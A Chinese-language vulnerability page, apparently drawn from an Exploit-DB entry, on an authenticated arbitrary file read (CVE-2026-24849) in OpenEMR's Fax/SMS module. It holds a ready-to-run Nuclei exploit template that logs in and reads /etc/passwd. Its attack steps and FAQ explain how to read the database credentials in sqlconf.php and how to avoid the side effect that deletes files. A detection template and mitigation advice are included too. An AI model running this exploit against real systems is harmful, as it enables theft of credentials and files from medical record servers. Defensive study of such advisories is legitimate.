[webapps] OpenEMR 7.0.2 - Arbitrary File Read

CVE-2026-24849 是 OpenEMR 7.0.2 及以下版本的认证任意文件读取漏洞。任意登录用户可通过 Fax/SMS 模块的 disposeDoc 方法读取服务器文件,包括数据库配置与系统文件。修复版本 7.0.4,临时可禁用该模块或配置 WAF 拦截。

CVE-2026-24849

OpenEMR 7.0.2 认证用户可任意文件读取,且附带删除动作。

High · CVSS 7.1

📋 漏洞基础信息

CVECVE-2026-24849
漏洞类型路径遍历 - 任意文件读取
受影响版本OpenEMR < 7.0.4 (tested on 7.0.2)
危害等级High · CVSS 7.1
发布日期2026-06-08
提交者doany1
来源Exploit-DB 原文 ↗

🔬 漏洞根因

Fax/SMS 模块 EtherFaxActions::disposeDoc() 方法未对 caller-supplied `file_path` 参数进行路径验证,直接传入 readfile() 读取,且未调用 authenticate() 进行权限检查。

🎯 攻击场景

1. 获取任意 OpenEMR 有效用户凭证(低权限即可)。 2. 确保 Fax/SMS 模块已启用且 EtherFax 被选为传真提供商(无需真实账号)。 3. 向 URL /interface/modules/custom_modules/oe-module-faxsms/index.php 发送 GET 请求,参数包含 site、type=fax、_ACTION_COMMAND=disposeDoc、file_path=目标文件绝对路径、action=download。 4. 成功返回文件内容。注意:若文件 Web 用户可删除,disposeDoc() 还会调用 unlink() 删除文件。

💥 漏洞影响

任意经过认证的用户(包括低权限角色如接待员、临床医生)可读取 Web 服务器用户可访问的任何文件,包括数据库配置文件(如 sites/default/sqlconf.php 含 DB 凭据)、应用源代码、系统文件(如 /etc/passwd)等。同时 disposeDoc() 还会在读取后调用 unlink() 尝试删除文件,导致文件可能被意外删除。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-24849-exploit

info:
  name: OpenEMR 7.0.2 - Authenticated Arbitrary File Read
  author: doany1
  severity: high
  description: |
    OpenEMR versions prior to 7.0.4 are vulnerable to an authenticated arbitrary file
    read via the Fax/SMS module's EtherFaxActions::disposeDoc() method. The method
    reads a caller-supplied path parameter and passes it directly to readfile() with
    no path validation. Any authenticated user can read sensitive files.
  reference:
    - https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  tags: cve,cve2026,openemr,lfi,authenticated

variables:
  username: 'admin'
  password: 'password'
  site: 'default'
  file_path: '/etc/passwd'

http:
  - raw:
      - |
        GET /interface/login/login.php?site={{site}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close

      - |
        POST /interface/main/main_screen.php?auth=login&site={{site}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1

      - |
        GET /interface/modules/custom_modules/oe-module-faxsms/index.php?site={{site}}&type=fax&_ACTION_COMMAND=disposeDoc&file_path={{file_path}}&action=download HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'root:'
          - '/bin/bash'
        part: body
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: file_content
        group: 0
        regex:
          - 'root:.*'
        part: body

🔬 深度技术分析

1. 脚本使用 login() 函数通过 GET(获取CSRF token)+ POST 建立合法会话。 2. read_file() 函数尝试两个可能的 action 值(disposeDoc 和 disposeDocument)。 3. 发送 GET 请求到 index.php,携带 file_path 参数指向目标文件。 4. 若响应体包含 'Problem with download' 则文件不可读;包含 'login_screen.php?error=1' 则会话失效;否则返回文件内容。 5. 首次使用 /etc/hostname 作为探针(root-owned,unlink 通常会失败,不破坏文件)验证漏洞存在。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-24849-detection

info:
  name: OpenEMR 7.0.2 - Arbitrary File Read Detection
  author: doany1
  severity: high
  description: |
    OpenEMR versions prior to 7.0.4 are vulnerable to an arbitrary file read via the
    Fax/SMS module's EtherFaxActions::disposeDoc() method. This allows authenticated
    users to read sensitive files on the server.
  reference:
    - https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  tags: cve,cve2026,openemr,lfi,authenticated

http:
  - method: GET
    path:
      - '{{BaseURL}}/interface/login/login.php?site=default'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'OpenEMR'
        part: body

      - type: regex
        name: version
        regex:
          - 'v([0-9]+\.[0-9]+\.[0-9]+)'
        part: body

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'v([0-9]+\.[0-9]+\.[0-9]+)'
        part: body

🛡️ 修复建议

厂商已发布安全更新 OpenEMR 7.0.4 修复此问题。临时缓解措施:1. 禁用 Fax/SMS 模块。2. 使用 Web 应用防火墙(WAF)规则拦截包含 disposeDoc 或 disposeDocument 以及 file_path 参数的请求。3. 限制 Web 服务器用户对敏感文件的读取权限。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-09 08:08 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ CVE-2026-24849 需要什么权限?

任意认证用户,低权限即可(非管理员专属)。

❓ 利用该漏洞是否会删除目标文件?

是的,disposeDoc() 在读取后调用 unlink(),若 Web 用户有权删除则文件会被删除。建议读 root-owned 文件避免删除。

❓ 能否利用该漏洞读取数据库密码?

能。可读取 sites/default/sqlconf.php 获取数据库凭据。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)